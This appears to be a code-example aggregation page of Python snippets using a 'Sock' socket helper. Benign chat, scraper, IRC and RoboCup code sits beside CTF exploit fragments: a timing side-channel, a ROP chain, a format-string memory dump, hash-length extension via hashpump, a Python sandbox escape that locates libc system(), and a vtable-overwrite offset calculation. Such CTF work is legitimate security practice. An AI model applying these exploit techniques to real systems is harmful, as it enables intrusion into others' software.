示例#1
0
 def capturandoDados(self):
     self.ip = self.entradaip.get()
     self.porta = int(self.entradaporta.get())
     self.sock = Sock(self.ip , self.porta)
     self.sock.enviar("entrou na sala")
     self.sock.start()
     self.t1 = Thread(name='Atualizar lista', target=self.atualizarLista)
     self.t1.start()
示例#2
0
class MusicPipeline(object):
    def __init__(self):
        self.sock = Sock()
        self.db = DB('music', 'postgres', 'dj')
    
    def process_item(self, item, spider):
        if len(self.db.query("""SELECT * FROM songs WHERE title=%s""", (item['title'], ))) == 0:
            self.db.transaction(("""INSERT INTO songs (title, artist) VALUES (%s, %s)""",), ((item['title'],item['artist']),))
            
            msg = item.type + '[*]' + item['title'] + '[*]' + item['download_link'] 
            self.sock.send_msg(msg)
示例#3
0
def decryptTime(bignum):
    global f
    try:
        f.send(pack("<I", 0x41424344))
        f.send(chr(0x80 | 0x01))

        p = "".join(pack("<I", c) for c in bignum2ints(bignum))
        assert len(p) == 0x60
        f.send(p)

        buf = "WWWWXXXXYYYYZZZZ"
        f.send(chr(len(buf)))
        f.send(buf)

        b = f.read_nbytes(16)
        assert b[12:] == "\x02\x00\xff\x00", b.encode("hex")
        vals = unpack("<3I", b[:12])
        # vals[0] - some rdtsc difference
        # vals[1] - leaked number of reductions
        # vals[2] - some rdtsc difference
        return vals[1]
    except EOFError:
        print "EOF, retry"
        f = Sock(addr)
        return decryptTime(bignum)
示例#4
0
class StopDownloaders(object):

    def __init__(self):
        self.sock = Sock()
        dispatcher.connect(self.spider_opened, signal=signals.spider_opened)
        dispatcher.connect(self.spider_closed, signal=signals.spider_closed)

    def spider_opened(self, spider):
        #log.msg("opened spider %s" % spider.name)
        # print '[START TO CRAWL SONGS]'
        colorful.printc('[START TO CRAWL SONGS]', 'WARNING')

    def spider_closed(self, spider):
        #log.msg("closed spider %s" % spider.name)
        # print '[INFO GATHERING COMPLETE]'
        colorful.printc('[INFO GATHERING COMPLETE]', 'WARNING')
        self.sock.send_msg('TERMINATE[*]--[*]--')
示例#5
0
 def listen(self,
            handler=lambda sock: None,
            backlog=5,
            verify_join=True,
            verbose=True,
            **kwargs):
     """Listen for new client trying to connect and accept them.
     The handler argument is a callable that the first argument it takes is the socket of the accepted clients.
     Other arguments can be passed through kwargs.
     The default value of handler does nothing.
     The backlog argument specifies the maximum number of queued connections and should be at least 0;
     the maximum value is system-dependent (usually 5), the minimum value is forced to 0.
     The verify_join argument specifies whether the function should
     join all client threads once the server is closed or not."""
     self._keep_listening = True
     client_threads = []
     sock = Sock()
     sock.bind((self.ip, self.port))
     sock.listen(backlog)
     while self._keep_listening:
         client_sock, client_addr = sock.accept()
         Server.connect(client_sock)
         _printif(verbose, "Connected to client @ %s" % client_addr[0])
         client = threading.Thread(target=handler,
                                   args=(client_sock, ),
                                   kwargs=kwargs)
         client_threads.append(client)
         client.start()
     if verify_join:
         Server.join(timeout=None, *client_threads)
     self._keep_listening = False
示例#6
0
 def test_http(self):
     for host in self.HTTP_HOSTS:
         f = Sock(host, 80)
         f.send("GET / HTTP/1.1\r\n\r\n")
         line = f.read_line().decode()
         self.assertTrue(line.startswith("HTTP/1.1 "))
         f.close()
示例#7
0
 def __init__(self, socket = None):
     if (socket == None):
         self.__socket = Sock("localhost", 3200, None, None)
         self.__socket.start()
     else:
         self.__socket = socket
     self.__root = tree_node.Tree_Node(0)
     self.__naos_left = {}
     self.__naos_right = {}
     self.__idcount = 1
     self.__nodes = [self.__root]
     self.__ball_node = None
示例#8
0
 def test_http(self):
     for host in self.HTTP_HOSTS:
         f = Sock(host, 80)
         f.send("GET / HTTP/1.1\r\n\r\n")
         line = f.read_line()
         self.assertTrue(line.startswith("HTTP/1.1 "))
         f.close()
示例#9
0
class Protocol(object):
    def __init__(self, url, token):
        self.url = url
        self.token = token
        self.sock = Sock(url)
        self.reconnect()

    def reconnect(self):
        try:
            self.sock.reconnect()
            self.write_msg('login', {'token': self.token})
        except socket.error:
            log.warn(u"Reconnect failed ...")
        except WebSocketException:
            log.warn(u"Reconnect failed ...")

    def write_error(self, mtype, message, code, query=None):
        if not self.sock:
            return
        packet = {
            'error': 1,
            'data': {
                'code': code,
                'message': message,
            },
            'type': mtype,
        }
        if query:
            packet['query'] = query

        try:
            self.sock.write(json.dumps(packet))
        except socket.error:
            self.reconnect()
        except WebSocketException, e:
            self.reconnect()
            log.info(u"Connection error: %s", str(e))
示例#10
0
def connect():
    f = Sock("127.0.0.1", 2223)
    f.read_until("21 bytes, starting with ")
    prefix = f.read_nbytes(16)
    #print prefix
    prefix += "A"
    i = 0
    while True:
        ha = sha1()
        ha.update(prefix + pack("I", i))
        if (ha.digest()[-3:] == "\xff\xff\xff"):
            print "CDIGEST %s" % ha.hexdigest()
            break
        if i % 1048576 == 0:
            print i
        i += 1
    f.send(prefix + pack("I", i))
    return f
示例#11
0
from sock import Sock
import random
import gmpy2
from Crypto.Util.number import inverse, long_to_bytes

def gcd(a, b):
	while b:
		a, b = b, a % b
	return a

while True:
	so = Sock('04.cr.yp.toc.tf:38010')

	ct = [random.getrandbits(2000) for _ in range(2)]
	pt = []

	for i in range(2):
		so.read_until(b'[Q]uit\n')
		so.send_line(b'd')
		so.read_line()
		so.send_line(str(ct[i]).encode())
		pt.append(int(so.read_line().strip().split(b' ')[-1]))

	'''
	for i in range(2):
		so.read_until(b'[Q]uit\n')
		so.send_line(b'e')
		so.read_line()
		so.send_line(str(pt[i]).encode())
		assert int(so.read_line().strip().split(b' ')[-1]) in ct
	'''
示例#12
0
def monitor(queue):
    TIME = 10
    FUTURE = 0
    URL = 'https://tmsbackend.herokuapp.com/traffic/'
    headers = {
        'Content-Type': 'application/json',
        'X-Access-Id': '5d454a854fd9612631343699'
    }
    conn = Sock()
    conn.connect()
    conn.send("ON;TWO")
    conn.disconnect()
    watch = Watcher()
    while True:
        try:
            end = time() + TIME + FUTURE
            while time() <= end:
                traffic = queue.get()
                watch.update(traffic)
            avg, award, FUTURE, active = watch.getStatus()

            payload = {
                'density': (avg['1a'][1]+avg['2a'][1])/2,
                'count': int((avg['1a'][0]+avg['2a'][0])/2)
            }
            r = requests.put(URL, json=payload, headers=headers)

            print("Changing status")
            print(avg)
            print("Award {} of {} against {}".format(award, FUTURE, active))
            print("API response: ", r.content)
            conn = Sock()
            conn.connect()
            if active[0] == '2a':
                conn.send("ON;TWO")
            else:
                conn.send("ON;ONE")
            conn.disconnect()
        except Exception as e:
            print(e)
            pass
示例#13
0
from sock import Sock
import hexdump
s = Sock('127.0.0.1', 1235)
s.read_until('>>')
s.send(('c' * 11) + '014c016b0300010000'.decode('hex') + '\r\n')
reply = s.read_until('>>')
print reply
示例#14
0
from sock import Sock

while True:
    data = input("Enter the command please: \n")
    conn = Sock(ip="192.168.43.144")
    conn.connect()
    conn.send(data)
    conn.disconnect()
    print("Sent data: ", data)
示例#15
0
    # Overwrite SP to call into ROP chain
    r += movh(r0, sp_addr / 256)
    r += movl(r0, (sp_addr % 256) * 256)
    r += xor(r8, r8)
    r += xor(r8, r0)
    r += xor(r1, r1)
    r += xor(r2, r2)
    r += movh(r1, 0)
    r += movl(r1, rop_addr - 3)
    r += stosb(r2, r1)  # overwrite sp and call ROP chain

    s = None
    while not s:
        try:
            print "Connecting..."
            s = Sock('127.0.0.1', 1235)
        except:
            time.sleep(1)

    s.read_until('Loader> ')
    s.read_until('Loader> ')
    s.read_until('Loader> ')
    s.send(r + '\n')
    o = ''
    o += s.read_until('Loader> ')
    if o.startswith('\x1b[1;1H\x1b[2J\x1b[1;1H\x1b[2J'):
        o = o[len('\x1b[1;1H\x1b[2J\x1b[1;1H\x1b[2J'):]
    if o.endswith('Loader> '):
        o = o[:-1 * len('Loader> ')]
    dmp += o + '\x00'
    hexdump.hexdump(dmp)
示例#16
0
    flag = 0
    if bit:
        x = (x * m0r)
        x, flag = redc(x)
    return x, flag


def mont_exp_one_round(x, m0r, bit):
    x, flag = mont_mul_cond(x, m0r, bit)
    x, flag = mont_square(x)
    return x, flag


## Challenge specific

f = Sock(addr)


def bignum2ints(n):
    res = []
    for i in xrange(0x18):
        res.append(n % 2**32)
        n >>= 32
    return res


def decryptTime(bignum):
    global f
    try:
        f.send(pack("<I", 0x41424344))
        f.send(chr(0x80 | 0x01))
示例#17
0
from sock import Sock
import struct, hexdump
s = Sock('127.0.0.1', 1235)
addr = 0x100
while True:
    d = s.read_until('[5] Restart\r\n')
    if 'Amount of coupons left: 1' in d:
        s.write("3" + '\r')
        d = s.read_until('What would you like to drink?\r\n')
        s.write('||%lx%lx%lx%lx%lx%lx%lx%lx(%s)||' + struct.pack("<H", addr) +
                '||' + '\r')
        d = s.read_line()[:-2]
        d = d[d.find('(') + 1:]
        d = d[:d.find(')||')] + '\x00'
        print hex(addr)
        hexdump.hexdump(d)
        addr += len(d)
    s.write('\r')
示例#18
0
#!/usr/bin/env python
#-*- coding:utf-8 -*-
from sage.all import *

from vw import *

from sock import Sock

f = Sock("beard-party.q.2019.volgactf.ru 7777")

while True:
    f.read_until("format):")
    f.read_line()

    pts = []
    block = []
    for i in xrange(2**8):
        pt = [V[i & 3](randint(0, 31)) for i in xrange(8)]
        pts.append(pt)
        msg = nums_to_str(pt)
        block.append(msg)
    block = "".join(block)
    block = "".join(block.encode("base64").split())

    f.send_line(block)

    res = f.read_until("Enter")
    res = res.decode("base64")
    assert len(res) % 10 == 0
    cts = [str_to_nums(res[i:i + 10]) for i in xrange(0, len(res) - 10, 10)]
    assert len(pts) == len(cts)
示例#19
0
        num += bconserves_t(b, s, t)
    return num == len(s)


def bexact(b, key):
    for t in xrange(16):
        if key[t] % b != (1 - t) % b:
            return False
    return True


def randvec():
    return [random.randint(0, 31) for _ in xrange(16)]


f = Sock("202.120.7.220 1234")

# pow
# sha256(XXXX+JyZoJLkhS8Jhsoxi) == 6387c59e693c59880ff6458c048a089aac925573cd27d61dcce6e4049dac084d
# Give me XXXX:
alpha = string.ascii_letters + string.digits
suff, target = f.read_until_re(r"XXXX\+(\w+)\) == (\w{64})").groups()
print suff, target
for p in product(alpha, repeat=4):
    p = "".join(p)
    if sha256(p + suff).hexdigest() == target:
        break
else:
    print "FAIL"
    quit()
print p
示例#20
0
import os
from sock import Sock
s = Sock('127.0.0.1',1235)
digest = '96103df3b928d9edc5a103d690639c94628824f5'
data = 'cat.txt'
add = ':passwd'
print s.read_until('>> ')
for l in range(1,256):
    d = os.popen('hashpump -s %s -d "%s" -a %s -k %s' % (digest, data, add, l)).read()
    h = d.split('\n')[0]
    v = d.split('\n')[1]
    v = v.decode('string_escape') 
    r = h + '#' + v
    s.send(r + '\r\n')
    reply = s.read_until('>> ')
    if 'FLAG' in reply:
        print l
        print reply
        exit()
示例#21
0
#!/usr/bin/python
import sys, time, os
from multiprocessing import Process, Queue
from sklearn.externals import joblib
from sklearn.tree import DecisionTreeClassifier
from datetime import datetime
from storage import Storage
from sock import Sock

from config import config

sock = Sock({
    "port_in": config['detector_1']['port'],
    "port_out": config['detector_2']['port'],
    "ip_in": config['detector_1']['ip'],
    "ip_out": config['detector_1']['ip']
})

storage = Storage(config["database"])

ATTACK_THRESHOLD = 2
attack_count = 0

model = None


# auto loading fresh model
def get_model():
    global model
    if not os.path.isfile(config['teacher']['lock_filename']):
        model = joblib.load("models_binary/all.pkl")
示例#22
0
def get_str_addr_by_name(name):
    r = get_expr("().__class__.__bases__[0].__repr__(%s)" % name_to_expr(name))
    if "str object at " not in r:
        raise Exception()
    return int(r.split()[3][2:-1], 16) + PADDSTR


def get_tuple_addr_by_name(name):
    r = get_expr("().__class__.__bases__[0].__repr__(%s)" % name_to_expr(name))
    if "tuple object at " not in r:
        raise Exception()
    return int(r.split()[3][2:-1], 16) + PADDSTR


if 0:  # remote
    f = Sock("54.196.37.47 9990", timeout=9999)
    v_index = 102
    sys_off = 0x3ff80
else:
    f = Sock("127.0.0.1 9990", timeout=9999)
    v_index = 108
    sys_off = 0x463d0

PADDSTR = 36

f.read_one()

maps = read_file("/proc/self/maps")
line = re.findall(r"(.*?)-.*? /lib/x86_64-linux-gnu/libc-", maps)
libc = int(line[0], 16)
system = libc + sys_off
示例#23
0
 def __init__(self, url, token):
     self.url = url
     self.token = token
     self.sock = Sock(url)
     self.reconnect()
示例#24
0
from multiprocessing import Process, Queue
import datetime
import json

from decision_maker import DecisionMaker
from storage import Storage
from sock import Sock

from config import config

decision_maker = DecisionMaker(config['database'])


sock = Sock({
    "port_in": config['detector_2']['port'],
    "port_out": config['judge_service']['port'],
    "ip_in": config['detector_2']['ip'],
    "ip_out": config['judge_service']['ip']
})

# listening socket
def process_socket(q):
    r = sock.socket_r()
    while True:
        pkg = sock.get_package(r)
        #print pkg
        time1 = datetime.datetime.now()
        print 'received', time1
        q.put((pkg, time1))


# make decision by data
示例#25
0
#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys, time, os, datetime, json
from multiprocessing import Process, Queue

from tinterval import TimeInterval
from firewall import Firewall
from sock import Sock

import config

sock = Sock({
    "port_in": config.config['firewall']['port'],
    "ip_in": config.config['firewall']['ip'],
})

firewall = Firewall()


# looking for dead rules by life_time in DB
def process_warden():

    # update tables by life_time
    fw = Firewall()
    removed = fw.refresh()

    if len(removed) > 0:
        print removed

    fw.close_connection()
示例#26
0
文件: test.py 项目: gsdu8g9/ddos-14
#!/usr/bin/python
import json

from sock import Sock

sock = Sock({
    "port_out": 6350,
    "ip_out": "127.0.0.1",
})


def send_json(data):
    s = sock.socket_s()
    s.send(json.dumps(data))
    s.close()


if __name__ == "__main__":

    data = [
        {
            't': 'range',
            'ip': '1.1.1.1',
            'bad_ports': [1, 4],
            'good_ports': [1, 2, 3],
            'timeout': 1,
            'is_inner': True
        },  # close ports range on IP address
        {
            't': 'list',
            'ip': '1.2.1.1',
示例#27
0
	d15/Na/y8z5gf5Hfz+tSiJ0L+o7NOZ5D2tx+1eLJlM0oGLKduwpeffTCZl6oSBTfOxANB0Zuh87Q
	OLGX7+ScVGe3AJ4mj488BAHg/a7MOeuVJNUCXRMWs1CSrylXM+IbaRGIvFuyQvHAuhx9usMscgeH
	aaGBVTUp4RoGxMFwqOX+1g9EVV8Nua+AnAk5WfqUzxKmEo6t6lKb+csD4voaeKZZE7IeEKLHhdl0
	Bir/nMW/lQIBAAIBAAIBAAIBAAIBAA==
	-----END RSA PRIVATE KEY-----"""
    ]

    #print pub_enc.encrypt(4,None)
    pk = [str(key.__getstate__()[x]) for x in key.keydata[:-1]]
    pk_str = ",".join(pk)
    #crypto = pub_enc.encrypt(pk_str, None)
    #maxlen = (len(str(hex((_pub_enc.__getstate__())["n"])))-3)/2
    #print maxlen
    bla = ",".join(
        [pub_enc.encrypt(c).encode("hex") for c in chunks(pk_str, 64)])
    s = Sock("52.6.11.111", 4321)
    s.read_until("communications\n")
    s.send(bla)
    returnv = s.read_until("\n").split(" (")[1].split("), ")[0]

    f = dict(key.__getstate__())
    del f["x"]
    #print f
    assert str(f) == returnv
    print s.read_until("\n")
    print s.read_until("\n")
    print "..."
    while 1:
        line = s.read_until("\n").strip()
        print line
        if "shit" in line:
示例#28
0
class IrcClient:

    sock = None
    console = NonBlockConsole()
    host = ''
    port = -1
    username = ''
    password = ''
    channel = ''

#

    def __init__(self, host, port, username, password):
        self.host = host
        self.port = port
        self.username = username
        self.password = password
        self.sock = Sock(host = host, port = port)

    def get_response(self):
        return self.sock.receive()

    def join_chann(self, chan):
        if self.channel != '':
            self.leave_chann();
        self.sock.deliver("JOIN #{1}\r\n".format(self.username, chan))
        self.channel = chan

    def privmsg(self, msg):
        self.sock.deliver('PRIVMSG #{} :{}\r\n'.format(self.channel, msg))

    def take_input(self):
        values = self.console.get_commands()
        for key in values:
            if key == "quit":
                return 1
            if key == "send password":
                self.send_password()
            if key == "send username":
                self.send_username()
            if key == "send":
                self.sock.deliver(values[key][0])
            if key == "msg":
                self.privmsg(values[key][0])
            if key == "join":
                self.join_chann(values[key][0])
            if key == "pong":
                self.send_pong(values[key][0])
            if key == "enable membership":
                self.enable_membership()

    def shutdown(self):
        self.leave_chann()
        self.sock.end_con()

#

    def send_pong(self, msg):
        self.sock.deliver('PONG :{}\r\n'.format(msg))

    def send_username(self):
        self.sock.deliver('NICK {}\r\n'.format(self.username))

    def send_password(self):
        self.sock.deliver('PASS {}\r\n'.format(self.password))

    def enable_membership(self):
        self.sock.deliver('CAP REQ :twitch.tv/membership\r\n')

    def leave_chann(self):
        self.sock.deliver('PART #{}\r\n'.format(self.channel))
示例#29
0
 def funcSave(self):
     str1 = self.textEdit.get(1.0, tk.END)
     connect = Sock()
     if len(str1) >= 512:
         while len(str1) >= 512:
             str2 = str1[0:512]
             str1 = str1[512:]
             connect.load_message(
                 Message(type='2',
                         is_end='6',
                         user_name=self.username,
                         head='ddktest',
                         content=str2))
             connect.send_message(wait=False)
     else:
         connect.load_message(
             Message(type='2',
                     is_end='6',
                     user_name=self.username,
                     head='ddktest',
                     content=str1))
         connect.send_message(wait=False)
     str2 = ''
     connect.load_message(
         Message(type='2',
                 is_end='5',
                 user_name=self.username,
                 head='ddktest',
                 content=str2))
     if connect.send_message():
         self.__logger.somewhere_info("send message success")
     else:
         self.__logger.somewhere_warning("send message failed!")
示例#30
0
 def __init__(self, host, port, username, password):
     self.host = host
     self.port = port
     self.username = username
     self.password = password
     self.sock = Sock(host = host, port = port)
示例#31
0
from sock import Sock

so = Sock('05.cr.yp.toc.tf:14010')

so.read_until(b'[Q]uit\n')
so.send_line(b'g')
n, f, v = so.read_line().strip().split(b' ')[-3:]
n, f, v = int(n[1:-1]), int(f[:-1]), int(v[:-1])

so.read_until(b'[Q]uit\n')
so.send_line(b't')
so.read_line()
so.send_line(b'15')
print(so.read_line())

so.read_until(b'[Q]uit\n')
so.send_line(b't')
so.read_line()
so.send_line(str(-15 + n**2).encode())
print(so.read_line())

so.read_until(b'[Q]uit\n')
so.send_line(b'r')
so.read_line()
so.send_line(b'15,' + str(-15 + n**2).encode())
print(so.read_line())
so.close()
示例#32
0
 def __init__(self):
     self.sock = Sock()
     dispatcher.connect(self.spider_opened, signal=signals.spider_opened)
     dispatcher.connect(self.spider_closed, signal=signals.spider_closed)
示例#33
0
文件: do.py 项目: allanlw/fruits
def get_offset():
  out = subprocess.check_output(["readelf", "-a", binf])
#  print out
  vtloc = int(re.findall("^.*?:.*?([0-9a-fA-F]+).*"+obj+".*$",
      out, flags=re.M)[0],16) + 0x10
  data = re.findall(r"^.*\.data\.rel\.ro +PROGBITS.*?([0-9a-fA-F]+).*$", out, re.M)[0]
  data = int(data,16)
  # we want the first pointer in the vtable
  # to be read_note_from_file which is the 5th pointer in the pointer array
  # add 0x20 to account for this
  data += 0x20
  print hex(vtloc), hex(data)
  return data - vtloc
OFFSET = get_offset()

so = Sock(*TARGET)

def print_all(pri=False):
  global entirety
  z = so.read_one()
  if pri:
    print z
  entirety += z

def do_send(x, pri=False):
#  print repr(x)
  so.send(x)
  print_all(pri)

print_all()
示例#34
0
class InterfaceGrafica(Frame,Thread):
    def __init__(self,master):
        Frame.__init__(self)
        Thread.__init__(self)

        self.font = ("Arial","12")
        self.pack(expand=YES, fill=BOTH)
        self.primeiroFrame = Frame(master)
        self.primeiroFrame['padx']= 20
        self.primeiroFrame['pady'] = 5
        self.primeiroFrame.pack()

        self.titulo = Label(self.primeiroFrame, text="Chat")
        self.titulo.pack()
        #Criando o campo de texto e o label do ip
        self.frameip = Frame(master)
        self.frameip.pack()
        self.campoip = Label(self.frameip,text="Digite o IP: ")
        self.campoip.pack(side=LEFT)
        self.entradaip = Entry(self.frameip)
        self.entradaip.insert(INSERT,"224.3.1.1")
        self.entradaip['width'] = 20
        self.entradaip.pack(side=LEFT)
        #criando o campo de texto da porta
        self.frameporta = Frame(master)
        self.frameporta.pack()
        self.campoporta = Label(self.frameporta, text="Digite a porta: ")
        self.campoporta.pack(side=LEFT)
        self.entradaporta= Entry(self.frameporta)
        self.entradaporta.insert(INSERT,"10000")
        self.entradaporta['width'] = 20
        self.entradaporta.pack(side=LEFT)

        # criando o campo para digitar o nome
        self.framenome = Frame(master)
        self.framenome.pack()
        self.camponome = Label(self.framenome, text="Digite seu nome : ")
        self.camponome.pack(side=LEFT)
        self.entradanome= Entry(self.framenome)

        self.entradanome['width'] = 20
        self.entradanome.pack(side=LEFT)


        #criando o botão entrar
        self.framebutton =Frame(master)
        self.framebutton.pack()
        self.entrar = Button(self.framebutton)
        self.entrar['text'] = "entrar"
        self.entrar['width'] = 12
        self.entrar['command'] = self.capturandoDados
        self.entrar.pack(side=LEFT)
        #criando o botão sair
        #self.framebutton = Frame(master)
        #self.framebutton.pack()
        self.sair = Button(self.framebutton)
        self.sair['text'] = "sair"
        self.sair['width'] = 12
        self.sair['command'] = self.sairSock
        self.sair.pack(side=RIGHT)

        # criando o campo de texto para enviar a msg
        self.framemsg = Frame(master)
        self.framemsg.pack()
        self.campomsg = Label(self.framemsg, text="Digite a menssagem ")
        self.campomsg.pack(side=LEFT)
        self.entradamsg = Entry(self.framemsg)
        self.entradamsg['width'] = 20
        self.entradamsg.pack(side=LEFT)

        #criando o botão para enviar a menssagem
        self.framebuttonMsg = Frame(master)
        self.framebuttonMsg.pack()
        self.enviar = Button(self.framebuttonMsg)
        self.enviar['text'] = "enviar"
        self.enviar['width'] = 12
        self.enviar['command'] = self.enviarMsg
        self.enviar.pack()


        # lista das respostas das msgs
        self.scrollbar = Scrollbar(master)
        self.scrollbar.set(100,100)
        self.scrollbar.pack(side=RIGHT, fill=Y)
        #self.scrollbar.config(width=50)
        self.lista = Listbox(master, yscrollcommand=self.scrollbar.set)
        self.lista.pack(side=LEFT, fill=BOTH)
        self.lista.config(width=80)
        self.msg =""
        self.porta=0
        self.ip=""

        #criando a lista

    def capturandoDados(self):
        self.ip = self.entradaip.get()
        self.porta = int(self.entradaporta.get())
        self.sock = Sock(self.ip , self.porta)
        self.sock.enviar("entrou na sala")
        self.sock.start()
        self.t1 = Thread(name='Atualizar lista', target=self.atualizarLista)
        self.t1.start()


    def atualizarLista(self):
        while True:

            self.sock.receber()

            #if (self.sock.data ==" "):
             #   self.lista.insert(0, "%s porta: %s Entrou.." % (self.sock.host, self.sock.myPort))

            #if self.sock.address != "":
            endereco, porta = self.sock.address
            data =  self.sock.data
            print("recebendo dados")
            print(data)
            data = data.decode()

            self.lista.insert(0, "%s : %s " % (self.entradanome.get(),data))
            #print("É vdd este bilhete")


    def enviarMsg(self):
        msg = "diz "+self.entradamsg.get()
        if msg != "":
            self.sock.enviar(msg)

    def sairSock(self):
        self.sock.enviar(" saindo da sala ")
        #self.sock.enviar("saindo..")
        self.t1
        self.sock.sair()
示例#35
0
class Scene:
    
    #initializes the root of the sceneGraph, empty dictionariies for the Naos and a socket that connects to the server    
    def __init__(self, socket = None):
        if (socket == None):
            self.__socket = Sock("localhost", 3200, None, None)
            self.__socket.start()
        else:
            self.__socket = socket
        self.__root = tree_node.Tree_Node(0)
        self.__naos_left = {}
        self.__naos_right = {}
        self.__idcount = 1
        self.__nodes = [self.__root]
        self.__ball_node = None
        
    #creates and maintains the scenegraph in a loop. Not to be used by the agent, just on stand alone usage (eg. for analyzing)   
    def start(self):
        msg = self.__socket.receive()
        data = parser.parse_sexp(msg)
        #print(data)
        self.createScene(data)
        while True:
            msg = self.__socket.receive()
            data = parser.parse_sexp(msg)
            self.updateScene(data)
            #print(data)
        
    #should be called by the agent before it calls get_position.
    #receives one scene graph message and either creates a new scene graph or updates an existing one.
    def run_cycle(self, data = None):
        if (data == None):
            msg = self.__socket.receive()
            data = parser.parse_sexp(msg)
        header = data[1]
        if (header[0] == "RSG"):
            self.__root = tree_node.Tree_Node(0)
            self.__naos_left = {}
            self.__naos_right = {}
            self.__idcount = 1
            self.__nodes = [self.__root]
            self.__ball_node = None
            self.create_scene(data)
        if (header[0] == "RDS"):
            #print("monitor:" + str(data[0][0][1]))
            self.update_scene(data)
    
    #creates a completely new sceneGraph. Should be called if the server sends (RSG 0 1)
    def create_scene(self, msg):
        header = msg[1]
        graph = msg[2]
        if (header[0] != "RSG"):
            print("Error: Message doesn't contain a complete scene graph")
            return
        if (header[1] != 0 | header[2] != 1):
            print("Wrong scene graph version")
            return
        self.seek_children(self.__root, graph)
        return
    
    # seeks the children of a node and appends them to it. msg should contain all the child-nodes like:
    # [ [nd, [nd]], [nd] , [nd, [nd, [nd]]] ]  (showing just the structure, information is missing)
    def seek_children(self, node, msg):
        for element in msg:
            #print("Rufe fuer " + str(node.getId()) + " einen " + str(element[1]) + " Knoten")
            node.append(self.create_node(element))
        return
    
    # decides which node to create reading the given message. msg should look like:
    # [nd, TRF, [SLT, nx, ny, nz, 0, ox, oy, oz, 0, ax, ay, az, 0, Px, Py, Pz, 1] ]
    def create_node(self, msg):
        if(msg[0] != "nd"):
            print("Error: Message doesn't contain a node")
            return None
        if(msg[1] == "TRF"):
            node = self.create_trans_node(msg[2])
            if (len(msg) > 3):
                #print(str(node.getId()) + " hat noch Kinderknoten...")
                self.seek_children(node, msg[3:])
        if(msg[1] == "Light"):
            node = self.create_light_node(msg[2:])
        if(msg[1] == "SMN"):
            node = self.create_smn_node(msg[2:])
        if(msg[1] == "StaticMesh"):
            node = self.create_static_mesh_node(msg[2:])
            
        return node
        
            
    # creates a transformation node. msg should be a list containing the transformation matrix like:
    # [SLT, nx, ny, nz, 0, ox, oy, oz, 0, ax, ay, az, 0, Px, Py, Pz, 1]
    def create_trans_node(self,msg):
        if(msg[0] != "SLT"):
            print("Error: Not a transformation node")
            return None
        matrix = numpy.array( ((msg[1],msg[5],msg[9],msg[13]),
                               (msg[2],msg[6],msg[10],msg[14]),
                               (msg[3],msg[7],msg[11],msg[15]),
                               (msg[4],msg[8],msg[12],msg[16])) )
        node = trans_node.Trans_Node(self.__idcount, matrix)
        self.__nodes.append(node)
        self.__idcount += 1
        return node
     
    # creates a light node. msg should be a list containing lists full of information concerning the node like:
    # [ [setDiffuse, x, y, z, w], [setAmbient, x, y, z, w], [setSpecular, x, y, z, w] ]        
    def create_light_node(self,msg):
        if((msg[0][0] != "setDiffuse") | (msg[1][0] != "setAmbient") | (msg[2][0] != "setSpecular")):
            print("Error: Not a light node")
            return None
        diffuse = numpy.array([msg[0][1],msg[0][2],msg[0][3],msg[0][4]])
        ambient = numpy.array([msg[1][1],msg[1][2],msg[1][3],msg[1][4]])
        specular = numpy.array([msg[2][1],msg[2][2],msg[2][3],msg[2][4]])
        node = light_node.Light_Node(self.__idcount,diffuse,ambient,specular)
        self.__nodes.append(node)
        self.__idcount += 1
        return node
    
    # creates a smn node. msg should be a list containing lists full of information concerning the node like:
    # [ [load, StdUnitBox], [sSc, 1, 31, ], [sMat, matGrey] ]
    def create_smn_node(self,msg):
        transparent = None
        visible = None
        for element in msg:
            if (element[0] == "load"):
                load = element[1:]
            if (element[0] == "sSc"):
                sSc = element [1:]
            if (element[0] == "sMat"):
                sMat = element[1]
            if (element[0] == "setTransparent"):
                transparent = 1
            if (element[0] == "setVisible"):
                visible = element[1]
        node = smn_node.Smn_Node(self.__idcount, load, sSc, visible, transparent, sMat)
        self.__nodes.append(node)
        self.__idcount += 1
        return node
    
    # creates a static mesh node. msg should be a list containing lists full of information concerning the node like:
    # [ [load, models/rlowerarm.obj], [sSc, 0.05, 0.05, 0.05], [resetMaterials, matLeft, naowhite] ]
    def create_static_mesh_node(self,msg):
        transparent = None
        visible = None
        for element in msg:
            if (element[0] == "load"):
                load = element[1]
            if (element[0] == "sSc"):
                sSc = element [1:]
            if (element[0] == "resetMaterials"):
                reset = element[1:]
            if (element[0] == "setTransparent"):
                transparent = 1
            if (element[0] == "setVisible"):
                visible = element[1]
        node = stat_mesh_node.Stat_Mesh_Node(self.__idcount, load, sSc, visible, transparent, reset)
        self.__nodes.append(node)
        self.__idcount += 1
        if (load == "models/naobody.obj"):
            if(reset[1] == "matLeft"):
                self.__naos_left[reset[0]] = node
            if(reset[1] == "matRight"):
                self.__naos_right[reset[0]] = node
        if(load == "models/soccerball.obj"):
            self.__ball_node = node
        return node
    
    # updates the sceneGraph. Should be called if the server sends (RDS 0 1)
    def update_scene(self, msg):
        header = msg[1]
        graph = msg[2]
        if (header[0] != "RDS"):
            print("Error: Message doesn't a contain partial scene graph")
            return
        if (header[1] != 0 | header[2] != 1):
            print("Wrong scene graph version")
            return
        idcount = self.__idcount
        self.__idcount = 0
        self.update_children(graph)
        self.__idcount += 1
         
        return
    
    # iterates through a list of nodes and updates them if necessary
    def update_children(self, msg):
        for element in msg:
            if (element[0] == "nd"):
                self.__idcount += 1
                if(len(element) > 1):
                    if((element[1] == "StaticMesh") | (element[1] == "SMN")):
                        self.update_children(element[2:])
                    else:
                        self.update_children(element[1:])
            if (element[0] == "SLT"):
                matrix = numpy.array( ((element[1],element[5],element[9],element[13]),
                                       (element[2],element[6],element[10],element[14]),
                                       (element[3],element[7],element[11],element[15]),
                                       (element[4],element[8],element[12],element[16])) )
                self.__nodes[self.__idcount].set_matrix(matrix)
    
    # returns a matrix containing the position and orientation of the nao with id naoID of one team.
    # team needs to be either "left" or "right"
    # NaoID needs to be the number of the nao (the one that is printed on his back)
    # calculates the position by multiplying the transformation matrixes from the root down to the nao
    def get_position(self, team, naoID):
        key = "matNum" + str(naoID)
        if(team == "left"):
            if (self.__naos_left.has_key(key)):
                nao = self.__naos_left[key]
            else:
                return None
        elif(team == "right"):
            if (self.__naos_right.has_key(key)):
                nao = self.__naos_right[key]
            else:
                return None
        else:
            return None
        result = self.calc_position(nao)
        return result
    
    
    # returns a list containing the position and orientation of the nao with id naoID of one team.
    # team needs to be either "left" or "right"
    # NaoID needs to be the number of the nao (the one that is printed on his back)
    def get_position_xy(self, team, naoID):
        result = self.get_position(team, naoID)
        if(result != None):
